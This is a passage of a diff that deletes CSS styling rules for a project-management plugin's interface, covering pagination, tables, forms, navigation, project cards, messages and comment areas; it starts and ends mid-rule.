solid #E4E4E4; -} -.pm .pm-pagination-wrap { - margin-top: 10px; - margin-bottom: 10px; - overflow: hidden; - width: 100%; - position: relative; -} -.pm .pm-pagination-wrap a { - box-shadow: none; -} -.pm .pm-pagination-wrap a:hover { - box-shadow: none; -} -.pm .pm-pagination-wrap .pm-pagination-btn { - border: 1px solid #ddd; - padding: 5px 12px; - margin-left: 2px; - font-size: 12px; - background: #fff; - color: #000; - display: inline-block; - line-height: 1.5; - border-radius: 3px; -} -.pm .pm-pagination-wrap .pm-pagination-btn:first-child{ - margin-left: 0px; -} -.pm .pm-pagination-wrap .current { - background: #027eb3; - border-color: #ddd; - color: #fff; -} -.pm .pm-pagination-wrap .pm-pagination-btn:hover { - background: #027eb3; - border-color: #d6d6d6; - color: #fff; -} -.pm .pm-list-header-new-todo-btn { - float: left; -} -/*.pm .pm-list-header-menu { - float: right; -} -.pm .pm-lists-view { - float: right; - margin: 0; -} -.pm .pm-lists-view a { - box-shadow: none; -} -.pm .pm-lists-view a:hover { - box-shadow: none; -} -.pm .pm-lists-view .pm-lists-view-li:first-child { - border-left: 1px solid #ddd; -} -.pm .pm-lists-view .pm-lists-view-li { - float: left; - background: #fff; - border-right: 1px solid #ddd; - border-top: 1px solid #ddd; - border-bottom: 1px solid #ddd; -} -.pm .pm-lists-view .pm-lists-view-li .to-do-list:hover { - background-image: url('../images/list-menu-hover.svg'); -} -.pm .pm-lists-view .pm-lists-view-li .to-do-list { - background-image: url('../images/list-menu.svg'); -} -.pm .pm-lists-view .pm-lists-view-li .background-position { - padding: 0px 0px 0px 35px; - background-size: 16px 16px; - background-position: 50%; - background-repeat: no-repeat; -}*/ -.pm-left { - float: left; -} -.pm-spacer { - width: 10px; -} -.pm-right { - float: right; -} -.pm-clear { - clear: both; -} -.pm-strikethrough { - text-decoration: line-through; -} -.pm-updated { - margin: 5px 0 15px; - background-color: #FFFFE0; - border: 1px solid #E6DB55; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - padding: 0 10px; -} -.pm-box-shadow { - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; - background-color: #fff; -} -span.required { - color: #cd0a0a; -} -ul.pm-inline-ul { - margin: 0; - padding: 0; -} -ul.pm-inline-ul li { - display: inline-block; -} -.pm-hide { - display: none; -} -.pm-loading:after { - background: url('../images/loading.gif') no-repeat; - height: 16px; - width: 16px; - margin: 0 0 0 10px; - display: inline-block; - content: ""; - position: absolute; -} -.ui-autocomplete .no-user-wrap { - padding: 0 0 20px 0; - text-align: center; -} -/*-------------------------------------------------- -:: Table --------------------------------------------------- */ -.pm table { - max-width: 100%; - border-collapse: collapse; - border-spacing: 0; -} - -.pm .table { - width: 100%; - margin-bottom: 20px; -} - -.pm .table th, -.pm .table td { - padding: 8px; - line-height: 20px; - text-align: left; - vertical-align: top; - border-top: 1px solid #dddddd; -} - -.pm .table th { - font-weight: bold; -} - -.pm .table thead th { - vertical-align: bottom; -} - -.pm .table caption + thead tr:first-child th, -.pm .table caption + thead tr:first-child td, -.pm .table colgroup + thead tr:first-child th, -.pm .table colgroup + thead tr:first-child td, -.pm .table thead:first-child tr:first-child th, -.pm .table thead:first-child tr:first-child td { - border-top: 0; -} - -.pm .table tbody + tbody { - border-top: 2px solid #dddddd; -} - -.pm .table .table { - background-color: #ffffff; -} - -.pm .table-condensed th, -.pm .table-condensed td { - padding: 4px 5px; -} - -.pm .table-bordered { - border: 1px solid #dddddd; - border-collapse: separate; - *border-collapse: collapse; - - -webkit-border-radius: 4px; - -moz-border-radius: 4px; - border-radius: 4px; -} - -.pm .table-bordered th, -.pm .table-bordered td { - border-left: 1px solid #dddddd; -} - -.pm .table-bordered caption + thead tr:first-child th, -.pm .table-bordered caption + tbody tr:first-child th, -.pm .table-bordered caption + tbody tr:first-child td, -.pm .table-bordered colgroup + thead tr:first-child th, -.pm .table-bordered colgroup + tbody tr:first-child th, -.pm .table-bordered colgroup + tbody tr:first-child td, -.pm .table-bordered thead:first-child tr:first-child th, -.pm .table-bordered tbody:first-child tr:first-child th, -.pm .table-bordered tbody:first-child tr:first-child td { - border-top: 0; -} - -.pm .table-bordered thead:first-child tr:first-child > th:first-child, -.pm .table-bordered tbody:first-child tr:first-child > td:first-child, -.pm .table-bordered tbody:first-child tr:first-child > th:first-child { - -webkit-border-top-left-radius: 4px; - border-top-left-radius: 4px; - -moz-border-radius-topleft: 4px; -} - -.pm .table-bordered thead:first-child tr:first-child > th:last-child, -.pm .table-bordered tbody:first-child tr:first-child > td:last-child, -.pm .table-bordered tbody:first-child tr:first-child > th:last-child { - -webkit-border-top-right-radius: 4px; - border-top-right-radius: 4px; - -moz-border-radius-topright: 4px; -} - -.pm .table-bordered thead:last-child tr:last-child > th:first-child, -.pm .table-bordered tbody:last-child tr:last-child > td:first-child, -.pm .table-bordered tbody:last-child tr:last-child > th:first-child, -.pm .table-bordered tfoot:last-child tr:last-child > td:first-child, -.pm .table-bordered tfoot:last-child tr:last-child > th:first-child { - -webkit-border-bottom-left-radius: 4px; - border-bottom-left-radius: 4px; - -moz-border-radius-bottomleft: 4px; -} - -.pm .table-bordered thead:last-child tr:last-child > th:last-child, -.pm .table-bordered tbody:last-child tr:last-child > td:last-child, -.pm .table-bordered tbody:last-child tr:last-child > th:last-child, -.pm .table-bordered tfoot:last-child tr:last-child > td:last-child, -.pm .table-bordered tfoot:last-child tr:last-child > th:last-child { - -webkit-border-bottom-right-radius: 4px; - border-bottom-right-radius: 4px; - -moz-border-radius-bottomright: 4px; -} - -.pm .table-bordered tfoot + tbody:last-child tr:last-child td:first-child { - -webkit-border-bottom-left-radius: 0; - border-bottom-left-radius: 0; - -moz-border-radius-bottomleft: 0; -} - -.pm .table-bordered tfoot + tbody:last-child tr:last-child td:last-child { - -webkit-border-bottom-right-radius: 0; - border-bottom-right-radius: 0; - -moz-border-radius-bottomright: 0; -} - -.pm .table-bordered caption + thead tr:first-child th:first-child, -.pm .table-bordered caption + tbody tr:first-child td:first-child, -.pm .table-bordered colgroup + thead tr:first-child th:first-child, -.pm .table-bordered colgroup + tbody tr:first-child td:first-child { - -webkit-border-top-left-radius: 4px; - border-top-left-radius: 4px; - -moz-border-radius-topleft: 4px; -} - -.pm .table-bordered caption + thead tr:first-child th:last-child, -.pm .table-bordered caption + tbody tr:first-child td:last-child, -.pm .table-bordered colgroup + thead tr:first-child th:last-child, -.pm .table-bordered colgroup + tbody tr:first-child td:last-child { - -webkit-border-top-right-radius: 4px; - border-top-right-radius: 4px; - -moz-border-radius-topright: 4px; -} - -.pm .table-striped tbody > tr:nth-child(odd) > td, -.pm .table-striped tbody > tr:nth-child(odd) > th { - background-color: #f9f9f9; -} - -.pm .table-hover tbody tr:hover > td, -.pm .table-hover tbody tr:hover > th { - background-color: #f5f5f5; -} -.pm .table tbody tr.success > td { - background-color: #dff0d8; -} - -.pm .table tbody tr.error > td { - background-color: #f2dede; -} - -.pm .table tbody tr.warning > td { - background-color: #fcf8e3; -} - -.pm .table tbody tr.info > td { - background-color: #d9edf7; -} - -.pm .table-hover tbody tr.success:hover > td { - background-color: #d0e9c6; -} - -.pm .table-hover tbody tr.error:hover > td { - background-color: #ebcccc; -} - -.pm .table-hover tbody tr.warning:hover > td { - background-color: #faf2cc; -} - -.pm .table-hover tbody tr.info:hover > td { - background-color: #c4e3f3; -} -.pm .pm-table thead, -.pm .pm-table tfoot { - background-color: #fff; -} -ul.pm-attachments { - margin: 0 10px; - padding-top: 10px; -} -ul.pm-attachments li { - display: inline-block; - border: solid 1px #eee; - padding: 5px; - margin: 0 15px 15px 0; -} -/*-------------------------------------------------- -:: Form --------------------------------------------------- */ -.pm-form { - width: 100%; -} -.pm-form .item { - margin: 10px 10px 10px 0; - position: relative; -} -.pm-form .item input[type="text"], -.pm-form .item select, -.pm-form .item textarea { - width: 100%; - height: 28px; - padding: 3px 8px; - font-size: 12px; - line-height: 100%; - box-shadow: none; - border: 1px solid #ddd; - background: #fff; -} -.pm-form .item textarea { - height: 84px; -} -.pm-form .submit { - padding: 0; -} -.pm-form .form-table { - width: 70%; -} -.pm-form .form-table .form-field { - max-width: 100%; -} -.pm-form .description { - display: block; -} -.pm-form .form-field input[type=radio], -.pm-form .form-field input[type=checkbox] { - width: auto; -} -.pm-project-form { - max-width: 500px; -} -.pm-project-form textarea { - height: auto; -} -/*-------------------------------------------------- -:: Navigation --------------------------------------------------- */ -ul.pm-nav { - list-style: none; - float: right; - background: #298CBA; - padding: 3px; - margin: 0; -} -ul.pm-nav li { - display: inline-block; - margin: 0; - padding: 3px 10px; - background: #fff; -} -ul.pm-nav li.active { - background: #298CBA; -} -ul.pm-nav li.active a { - color: #fff; - font-weight: bold; -} -ul.pm-nav li a { - text-decoration: none; -} -.pm-nav-title { - background: #FFFFFF; - border: 1px solid #CCCCCC; - -webkit-border-radius: 0 0 5px 5px; - -moz-border-radius: 0 0 5px 5px; - border-radius: 0 0 5px 5px; - border-top: none; - color: #898989; - font-size: 13px; - font-weight: bold; - padding: 5px 20px; - margin: 0 0 10px 0; - position: relative; -} -.pm-nav-title .add-new-h2 { - top: 0; -} -.pm-nav-title [class*="pm-settings-icon-"] { - display: inline-block; - width: 16px; - height: 16px; - background-image: url("images/sprites.svg"); - background-repeat: no-repeat; -} -.pm-nav-title .pm-settings-icon-cog { - cursor: pointer; - background-position: 0 0; - width: 16px; -} -.pm-nav-title [class*="pm-icons-"] { - display: inline-block; - width: 16px; - height: 16px; - background-image: url('images/sprites3.svg'); - background-repeat: no-repeat; - bottom: 0; - right: 0; -} -.pm-nav-title .pm-icons-cross { - background-position: 0 0; - width: 16px; -} -.pm-nav-title .pm-icons-checkmark { - background-position: -24px 0; - width: 16px; -} -.pm-nav-title .pm-icons-docs { - background-position: -48px 0; - width: 16px; -} -.pm-nav-title ul.pm-settings { - background: none repeat scroll 0 0 #000000; - box-shadow: 0 0 3px 1px #9A9A9A; - display: none; - position: absolute; - right: -1px; - top: 11px; - width: 92px; -} -.pm-nav-title ul.pm-settings li:not(:last-child) { - border-bottom: 1px solid #262626; -} -.pm-nav-title ul.pm-settings li { - padding: 1px 1px 1px 5px; -} -.pm-nav-title ul.pm-settings a { - color: #fff; - font-size: 12px; -} -.pm-nav-title ul.pm-settings:after { - bottom: 100%; - left: 50%; - border: solid transparent; - content: " "; - height: 0; - width: 0; - position: absolute; - pointer-events: none; - border-color: rgba(0, 0, 0, 0); - border-bottom-color: #000000; - border-width: 8px; - margin-left: 27px; -} -/*-------------------------------------------------- -:: Project --------------------------------------------------- */ -.pm-ui-dialog { - font-size: 13px; - border: none !important; - -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, 0.3); - -moz-box-shadow: 0 0 6px rgba(0, 0, 0, 0.3); - box-shadow: 0 0 6px rgba(0, 0, 0, 0.3); - padding: 10px 15px 10px 15px !important; - z-index: 9999; - left: 35% !important; - top: 18% !important; -} -.pm-ui-dialog .pm-form-item input, -.pm-ui-dialog .pm-form-item textarea, -.pm-ui-dialog .pm-form-item select { - width: 100%; - max-width: none; - color: #9e9e9e; -} -.pm-ui-dialog .pm-form-item select { - background: transparent; -} -.pm-ui-dialog .pm-form-item input[type="checkbox"], -.pm-ui-dialog .pm-form-item input[type="radio"] { - width: auto; -} -.pm-ui-dialog .ui-dialog-titlebar { - border: none !important; -} -.pm-ui-dialog .ui-widget-header { - background: #fff; - border: none; - font-size: 16px; -} -.pm-ui-dialog .ui-resizable-handle { - display: none !important; -} -.pm-ui-dialog .pm-project-form { - font-size: 12px; -} -.pm-ui-dialog .pm-project-form .pm-spinner { - background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); - visibility: visible; -} -.pm-ui-dialog .pm-project-form .chosen-container { - max-width: 300px !important; -} -.pm-ui-dialog .pm-project-form a.pm-assign-del-user { - cursor: pointer; -} -.pm-ui-dialog .pm-project-form a.pm-assign-del-user span.title { - text-indent: -9999px; - display: inline-block; -} - -.pm-ui-dialog .pm-project-form input[type=text]:-moz-placeholder, -.pm-ui-dialog .pm-project-form textarea:-moz-placeholder, -.pm-ui-dialog .pm-project-form select:-moz-placeholder { - color: #999; -} -.pm-ui-dialog .pm-project-form input[type=text]:-ms-input-placeholder, -.pm-ui-dialog .pm-project-form textarea:-ms-input-placeholder, -.pm-ui-dialog .pm-project-form select:-ms-input-placeholder { - color: #999; -} -.pm-ui-dialog .pm-project-form input[type=text]::-webkit-input-placeholder, -.pm-ui-dialog .pm-project-form textarea::-webkit-input-placeholder, -.pm-ui-dialog .pm-project-form select::-webkit-input-placeholder { - color: #999; -} -.pm-ui-dialog .pm-project-form .pm-project-role select { - padding: 0px !important; -} -.pm-ui-dialog .pm-project-form .pm-form-item { - margin-bottom: 15px; -} -.pm-ui-dialog .pm-project-form .submit { - margin: 0; - padding: 0; -} -.pm-ui-dialog .pm-project-form #project_category_chzn { - width: 76% !important; -} -.pm-ui-dialog .pm-project-form .chzn-drop { - width: 345px !important; -} -.pm-ui-dialog .pm-project-form .chzn-search input { - width: 329px !important; - border: 1px solid #B3B3B3 !important; -} -.pm-user-ui-dialog { - left: 39% !important; - top: 29% !important; - z-index: 99999; -} -.pm-project-head { - display: block; - margin-bottom: 15px; -} -.pm-project-head h2 { - font-size: 15px; - font-weight: bold; -} -.pm-project-head h2 a.pm-project-edit-link { - display: inline-block; - background: #DDD; - padding: 0 10px 0 2px; - margin-left: 10px; - line-height: 20px; - border-radius: 2px; -} -.pm-project-head h2 a.pm-project-edit-link .dashicons { - margin-top: 2px; - font-size: 18px; - width: 18px; - height: 18px; -} -.pm-project-head h2 a.pm-project-edit-link .text { - font-size: 12px; - margin: 0; - padding: 0; - font-weight: normal; -} -.pm-project-head h2 .pm-project-summary { - border-left: 1px dashed #E1E1E1; - font-family: "helvetica neue", helvetica, arial, sans-serif; - font-size: 13px; - font-weight: normal; - line-height: 15px; - padding-left: 10px; - margin-left: 10px; - width: 300px; -} -.pm-project-head h2 .pm-project-summary span { - display: block; - font-size: 15px; - font-weight: bold; - line-height: 29px; - padding-bottom: 8px; -} -.pm-project-head .pm-edit-project .pm-project-form .project-category { - margin-bottom: 15px; -} -.pm-project-head .pm-edit-project .pm-project-form .pm-spinner { - background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); - visibility: visible; -} -.pm-project-head .pm-edit-project a.pm-assign-del-user { - cursor: pointer; -} -.pm-project-head .pm-edit-project a.pm-assign-del-user span.title { - text-indent: -9999px; - display: inline-block; -} -.pm-project-head .pm-edit-project a.pm-assign-del-user .dashicons { - margin-left: 10px; - color: #9C3232; -} -.pm-project-head .pm-edit-project .pm-project-role { - margin-bottom: 10px; -} -.pm-project-head .pm-edit-project .pm-pro-update-spinner { - background: url("../images/loading.gif") no-repeat scroll 0 0 rgba(0, 0, 0, 0); - display: none; - height: 16px; - left: -18px; - margin-top: 5px; - position: absolute; - width: 16px; -} -.pm-project-head .detail { - font-size: 13px; - width: 80%; -} -.pm-project-head p { - margin: 0 0 5px 0; -} -.pm-project-head .pm-edit-project { - padding: 10px; - position: relative; -} -ul.pm-activity { - font-size: 13px; -} -ul.pm-activity .date { - font-style: italic; - color: #9C9C9C; - font-size: 11px; -} -ul.pm-activity .pm-activity-heads { - font-size: 14px; - font-weight: bold; - margin: 0 0 5px 0; - padding: 0 0 5px 0; - border-bottom: 1px solid #eee; - color: #777; -} -ul.pm-activity ul { - margin-left: 15px; - margin-bottom: 10px; -} -ul.pm-activity ul li { - text-indent: 5px; -} -ul.pm-activity ul li:before { - content: "-"; - position: relative; - left: -5px; -} -.pm-projects { - margin-top: 10px; - margin-left: 130px; - padding: 5px 0 0 5px; - display: block; - position: relative; -} -.pm-projects.pm-no-nav { - margin-left: 0; -} -.pm-projects:after, -.pm-projects:before { - clear: both; - content: ""; - display: table; -} -.pm-projects .pm-project-filter { - *zoom: 1; - margin-bottom: 10px; -} -.pm-projects .pm-project-filter:before, -.pm-projects .pm-project-filter:after { - display: table; - content: ""; - line-height: 0; -} -.pm-projects .pm-project-filter:after { - clear: both; -} -.pm-projects .pm-project-filter .order-statuses-filter { - margin: 5px 10px 0 0; - float: left; -} -.pm-projects .pm-project-filter .pm-project-filters { - float: left; -} -.pm-projects nav.pm-new-project { - left: -130px; - position: absolute; -} -.pm-projects nav.pm-new-project a { - background: url('../images/plus.png') no-repeat 50% 50%; - -webkit-box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); - -moz-box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); - box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); - height: 80px; - width: 80px; - display: block; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -.pm-projects nav.pm-new-project a span { - bottom: -28px; - color: #333333; - font-size: 13px; - position: absolute; - text-align: center; - width: 80px; -} -.pm-projects .pm-project { - background: #fff; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; - width: 210px; - height: 235px; - position: relative; - margin: 0 20px 20px 0; - padding: 15px; - float: left; -} -.pm-projects .pm-project .slimScrollBar { - z-index: 0 !important; -} -.pm-projects .pm-project h5 { - font-size: 16px; - margin: 0; - word-wrap: break-word; - color: #000; -} -.pm-completed-wrap { - width: 86px; - height: 80px; - overflow: hidden; - position: absolute; - top: 1px; - right: 1px; -} -.pm-completed-wrap .ribbon-green { - font-weight: bold; - font-size: 12px; - color: #23282e; - text-align: center; - text-shadow: rgba(255, 255, 255, 0.3) 0px 1px 0px; - -webkit-transform: rotate(45deg); - -moz-transform: rotate(45deg); - -ms-transform: rotate(45deg); - -o-transform: rotate(45deg); - transform: rotate(45deg); - position: relative; - padding: 4px 0; - left: -5px; - top: 15px; - width: 120px; - background-color: #abd065; - background-image: -moz-linear-gradient(top, #BFDC7A, #8EBF45); - background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#BFDC7A), to(#8EBF45)); - background-image: -webkit-linear-gradient(top, #BFDC7A, #8EBF45); - background-image: -o-linear-gradient(top, #BFDC7A, #8EBF45); - background-image: linear-gradient(to bottom, #BFDC7A, #8EBF45); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffbfdc7a', endColorstr='#ff8ebf45', GradientType=0); - -webkit-box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.3); - -moz-box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.3); - box-shadow: 0px 0px 3px rgba(0, 0, 0, 0.3); -} -.pm-completed-wrap .ribbon-green.incomplete{ - background-color: #0073aa; - text-shadow: rgba(0, 0, 0, 0.3) 0px 1px 0px; - background-image: -moz-linear-gradient(top, #0073aa, #1f91c7); - background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0073aa), to(#1f91c7)); - background-image: -webkit-linear-gradient(top, #0073aa, #1f91c7); - background-image: -o-linear-gradient(top, #0073aa, #1f91c7); - background-image: linear-gradient(to bottom, #0073aa, #1f91c7); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffbfdc7a', endColorstr='#ff8ebf45', GradientType=0); - color: #fff; -} -.pm-projects .pm-project .ribbon-green:before, -.pm-projects .pm-project .ribbon-green:after { - border-top: 3px solid #6e8900; - border-left: 3px solid transparent; - border-right: 3px solid transparent; - position: absolute; - bottom: -3px; -} -.pm-projects .pm-project .pm-project-detail, -.pm-projects .pm-project .pm-project-meta { - color: #aaa; - word-wrap: break-word; - font-size: 12px; - font-weight: normal; -} -.pm-projects .pm-project .pm-project-meta { - font-size: 12px; -} -.pm-projects .pm-project .pm-project-people { - height: 50px; - width: 95%; - left: 10px; - overflow: hidden; - position: absolute; - top: 79%; -} -.pm-projects .pm-project .pm-project-people .pm-scroll { - white-space: nowrap; - overflow-x: hidden; - overflow-y: hidden; -} -.pm-projects .pm-project .pm-project-people:hover { - z-index: 10; -} -.pm-projects .pm-project .pm-project-people:hover .pm-scroll { - overflow-x: visible; -} -.pm-projects .pm-project .pm-project-people a { - display: inline-block; - vertical-align: middle; -} -.pm-projects .pm-project .pm-project-people img.avatar { - height: 48px; - width: 48px; - -webkit-border-radius: 50%; - -moz-border-radius: 50%; - border-radius: 50%; - margin-right: 5px; - background-color: #ccc; -} -.pm-projects .pm-project .pm-progress { - position: absolute; - bottom: 0px; - height: 10px; - width: 100%; - -webkit-border-radius: 0 0 3px 3px; - -moz-border-radius: 0 0 3px 3px; - border-radius: 0 0 3px 3px; - margin: 0 15px 0 -15px; -} -.pm-projects .pm-project .pm-progress .text { - font-size: 8px; - margin-top: -23px; - color: #222; - text-shadow: none; -} -.pm-projects .pm-project .pm-project-action-icon .pm-project-action { - right: 10px; - top: 10px; -} -.pm-projects .pm-project .pm-project-action-icon .pm-project-action .pm-settings-bind { - padding: 0; - border: none; -} -/*-------------------------------------------------- -:: Message --------------------------------------------------- */ -.pm-new-message-form { - margin: 0px; - background: #fff; - padding: 15px 20px; - margin-bottom: 15px; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; - margin-top: 15px; -} -.pm-new-message-form h3 { - margin-top: 0; -} -.pm-message-form-wrap { - position: relative; - padding: 10px; - margin-left: 0; - background: #fff; -} -.pm-messages-table { - font-size: 13px; -} -.pm-messages-table td { - border-bottom: 1px solid #ECECEC; - padding: 5px 0; -} -.pm-messages-table tr:nth-last-child(1) td { - border-bottom: none; -} -.pm-messages-table .pm-avatar { - width: 32px; - height: 32px; - -webkit-border-radius: 50%; - -moz-border-radius: 50%; - border-radius: 50%; - padding: 2px; - background: #eee; - display: block; -} -.pm-messages-table .pm-avatar img { - -webkit-border-radius: 50%; - -moz-border-radius: 50%; - border-radius: 50%; - width: 32px; - height: 32px; -} -.pm-messages-table .message { - font-size: 13px; - padding: 0 5px; - max-width: 780px; - overflow: hidden; -} -.pm-messages-table .title { - font-weight: bold; - color: #000; -} -.pm-messages-table .excerpt { - color: #AA9C84; -} -.pm-messages-table .date { - font-size: 14px; - color: #AA9C84; -} -.pm-messages-table .comment-count span { - background: #E2E9F8; - line-height: 14px; - min-width: 17px; - padding: 2px 1px; - text-align: center; - border: 1px solid transparent; - border-radius: 12px 12px 12px 12px; - color: #666666; - display: inline-block; - font-size: 12px; - margin-left: 10px; -} -.pm-messages-table td.pm-actions { - padding-left: 20px; - font-size: 11px; - border-bottom: none; -} -.pm-messages-table td.pm-actions a { - color: red; - display: inline-block; - opacity: 0.3; -} -.pm-messages-table td.pm-actions a:hover { - opacity: 1; -} -.pm-messages-table .pm-messages-spinner { - background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); -} -.pm-single { - background-color: #f9f9f9; - border: 1px solid #dfdfdf; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -.pm-single .pm-single-spinner { - background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); -} -.pm-single .pm-entry-title { - background-color: #f4f4f4; - background-image: -moz-linear-gradient(top, #f9f9f9, #ececec); - background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f9f9f9), to(#ececec)); - background-image: -webkit-linear-gradient(top, #f9f9f9, #ececec); - background-image: -o-linear-gradient(top, #f9f9f9, #ececec); - background-image: linear-gradient(to bottom, #f9f9f9, #ececec); - background-repeat: repeat-x; - filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff9f9f9', endColorstr='#ffececec', GradientType=0); - border-bottom: 1px solid #dfdfdf; - padding: 8px 10px; - margin: 0; - font-size: 13px; -} -.pm-single .pm-inner { - margin: 0 10px; -} -.pm-single .pm-entry-meta { - margin: 10px; - color: #888; - font-size: 12px; -} -.pm-single .pm-entry-meta .pm-separator { - color: #dfdfdf; -} -.pm-single .pm-entry-detail { - padding: 10px 15px; - background: #fff; - color: #000; -} -/*-------------------------------------------------- -:: Comment --------------------------------------------------- */ -.pm-comment-area { - background: #fff; - margin-top: 20px; - padding: 1px 15px 15px 15px; -} -.pm-comment-wrap { - border: 1px solid #dfdfdf; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; -} -.pm-todo .pm-task-comment-wrap { - margin-right: 10px; -} -.pm-comment-wrap .pm-comment-spinner { - background: url("../images/loading.gif") no-repeat scroll center rgba(0, 0, 0, 0); -} -#pm-single-todo-list-view .pm-incomplete-tasks .pm-incomplete-task-list .pm-comment-wrap li.pm-comment, -.pm-comment-wrap li.pm-comment { - margin: 0; - padding: 10px; - border-width: 0px; - border-bottom: 1px solid #dfdfdf; - position: relative; -} -.pm-comment-wrap li.pm-comment.odd { - background-color: #fcfcfc; -} -.pm-comment-wrap li.pm-comment .pm-avatar { - float: left; - width: 48px; -} -.pm-comment-wrap li.pm-comment .pm-avatar img { - -webkit-border-radius: 50%; - -moz-border-radius: 50%; - border-radius: 50%; - background: #D5D5D5; - width: 32px; - height: 32px; -} -.pm-comment-wrap li.pm-comment .pm-comment-container { - margin-left: 68px; -} -.pm-comment-wrap li.pm-comment .pm-comment-container .pm-comment-meta { - color: #888; - font-size: 12px; -} -.pm-comment-wrap li.pm-comment .pm-comment-container .pm-comment-meta .pm-separator { - color: #dfdfdf; -} -.pm-comment-wrap li.pm-comment .pm-comment-container p { - margin: 5px 0 10px 0; -} -.pm-comment-wrap li.pm-comment .pm-comment-container .pm-comment-edit-form .pm-comment-form-wrap { - margin-left: 0; - margin-top: 10px; -} -.pm-comment-wrap li.pm-comment .pm-upload-container { - background: #fff; - padding: 10px; -} -.pm-comment-wrap .pm-comment :hover .pm-comment-action { - visibility: visible; -} -.pm-comment-form-wrap { - background-color: #fff; - position: relative; - border: 1px solid #DDD; - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; - padding: 10px; - margin-left: 75px; -} -.pm-comment-form-wrap .pm-comment-form { - padding: 5px 10px 10px 10px; -} -.pm-comment-form-wrap .pm-avatar { - position: absolute; - top: 0; - left: -65px; - height: 48px; - width: 48px; -} -.pm-comment-form-wrap .pm-avatar img { - -webkit-border-radius: 50%; - -moz-border-radius: 50%; - border-radius: 50%; - background: #fff; - padding: 2px; - border: 1px solid #ccc; -} -.pm-comment-form, -.pm-message-form, -.pm-milestone-form { - font-size: 13px; -} -.pm-message-page ul.dicussion-list .pm-message-form { - padding-right: 10px; - padding-left: 5px; -} -.pm-comment-form label.notify, -.pm-message-form label.notify, -.pm-milestone-form label.notify { - border-bottom: 1px solid #eee; - padding-bottom: 5px; - margin-bottom: 5px; - display: block; - width: 100% !important; -} -.pm-comment-form input[type=file], -.pm-message-form input[type=file], -.pm-milestone-form input[type=file] { - border: 1px solid #ddd; - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; -} -.pm-comment-form label.error, -.pm-message-form label.error, -.pm-milestone-form label.error { - background: #FFFFFF; - border: 1px solid #EEEEEE; - color: red; - margin-bottom: 10px; - padding: 1px 5px; - position: absolute; - right: -40px; - top: 0; -} -.pm-comment-form textarea, -.pm-message-form textarea, -.pm-milestone-form textarea { - width: 100%; -} -.pm-comment-form .pm-make-privacy, -.pm-message-form .pm-make-privacy, -.pm-milestone-form .pm-make-privacy { - margin-bottom: 5px; -} -.pm-comment-form .item, -.pm-message-form .item, -.pm-milestone-form .item { - position: relative; -} -.pm-comment-form .item.detail, -.pm-message-form .item.detail, -.pm-milestone-form .item.detail { - margin-bottom: 15px; -} -.pm-comment-form .item.detail trix-editor, -.pm-message-form .item.detail trix-editor, -.pm-milestone-form .item.detail trix-editor { - border: none; - border-top: 1px solid #ddd; - border-radius: 0; -} -.pm-comment-form input[type=text], -.pm-message-form input[type=text], -.pm-milestone-form input[type=text] { - width: 100%; - padding: 10px 10px; - margin-bottom: 10px; -} -.pm-comment-form .pm-attachment-area, -.pm-message-form .pm-attachment-area, -.pm-milestone-form .pm-attachment-area { - background: url('../images/attachment.png') 5px 10px no-repeat; - color: #999; - border: 1px dashed #DDD; - padding: 10px 10px 10px 30px; - margin-bottom: 10px; - margin-top: 10px; - font-size: 13px; - position: relative; - line-height: 17px; - -webkit-border-radius: 5px; - -moz-border-radius: 5px; - border-radius: 5px; -} -.pm-comment-form .pm-attachment-area .upload-item, -.pm-message-form .pm-attachment-area .upload-item, -.pm-milestone-form .pm-attachment-area .upload-item { - display: block; - overflow: hidden; - clear: both; - margin-bottom: 10px; -} -.pm-comment-form .pm-attachment-area .progress, -.pm-message-form .pm-attachment-area .progress, -.pm-milestone-form .pm-attachment-area .progress { - background: -moz-linear-gradient(center bottom, #FFFFFF 0%, #F7F7F7 100%) repeat scroll 0 0 #FFFFFF; - border: 1px solid #D1D1D1; - border-radius: 3px 3px 3px 3px; - box-shadow: 0 0 3px rgba(0, 0, 0, 0.1) inset; - float: right; - height: 22px; - line-height: 2em; - margin: 0; - overflow: hidden; - padding: 0; - width: 200px; -} -.pm-comment-form .pm-attachment-area .bar, -.pm-message-form .pm-attachment-area .bar, -.pm-milestone-form .pm-attachment-area .bar { - background-color: #83B4D8; - background-image: -moz-linear-gradient(center bottom, #72A7CF 0%, #90C5EE 100%); - border-radius: 3px 3px 3px 3px; - box-shadow: 0 0 3px rgba(0, 0, 0, 0.3); - height: 100%; - margin-top: -26px; - width: 0; - z-index: 9; -} -.pm-comment-form .pm-attachment-area .progress .percent, -.pm-message-form .pm-attachment-area .progress .percent, -.pm-milestone-form .pm-attachment-area .progress .percent { - color: rgba(0, 0, 0, 0.6); - padding: 0 8px; - position: relative; - text-shadow: 0 1px 0 rgba(255, 255, 255, 0.4); - width: 200px; - z-index: 10; -} -.pm-comment-form .notify-users, -.pm-message-form .notify-users, -.pm-milestone-form .notify-users { - border: #dfdfdf 